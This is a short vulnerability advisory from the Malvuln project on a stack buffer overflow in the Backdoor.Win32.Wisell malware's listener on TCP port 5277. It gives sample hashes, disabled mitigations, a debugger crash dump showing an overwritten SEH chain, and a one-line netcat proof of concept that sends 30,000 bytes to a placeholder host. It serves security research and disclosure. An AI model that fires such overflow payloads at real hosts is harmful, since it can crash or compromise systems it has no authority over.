Backdoor.Win32.Wisell Buffer Overflow

Backdoor.Win32.Wisell malware suffers from a buffer overflow vulnerability.

MD5 | e2004b86eac73e5a6a936beeac69cb05

Discovery / credits: Malvuln - (c) 2022
Original source:
Contact: [email protected]

Threat: Backdoor.Win32.Wisell
Vulnerability: Stack Buffer Overflow (SEH)
Description: The malware listens on TCP port 5277. Attackers who can reach the infected system can send a specially crafted packet triggering a stack buffer overflow overwriting the structured exception handler (SEH).
Family: Wisell
Type: PE32
MD5: 837ec70bfb305b5c862ff9b04e70a318
Vuln ID: MVID-2022-0541
Dropped files:
ASLR: Not Enabled
DEP: Not Enabled
SEH: Not Enabled
CFG: Not Enabled
Disclosure: 04/06/2022

Memory Dump:
The stored exception information can be accessed via .ecxr.
(1598.1748): Stack buffer overflow - code c0000409 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=e748a741 edx=00000000 esi=00000000 edi=00000002
eip=7770ed3c esp=029bf7e8 ebp=029bf828 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
7770ed3c c21400 ret 14h

0:003> .ecxr
eax=00000149 ebx=0254f908 ecx=e748a741 edx=00000000 esi=00000001 edi=0000014a
eip=0040192e esp=029bfe98 ebp=029bff80 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
0040192e 888c0537ffffff mov byte ptr [ebp+eax-0C9h],cl ss:002b:029c0000=??

0:003> !exchain
029bf8a0: ntdll!_except_handler4+0 (77716a50)
CRT scope 0, func: ntdll!RtlReportExceptionHelper+251 (777557ad)
029bffcc: 41414141
Invalid exception stack at 41414141

python -c "print('A'*30000)" | nc64.exe x.x.x.x 5277

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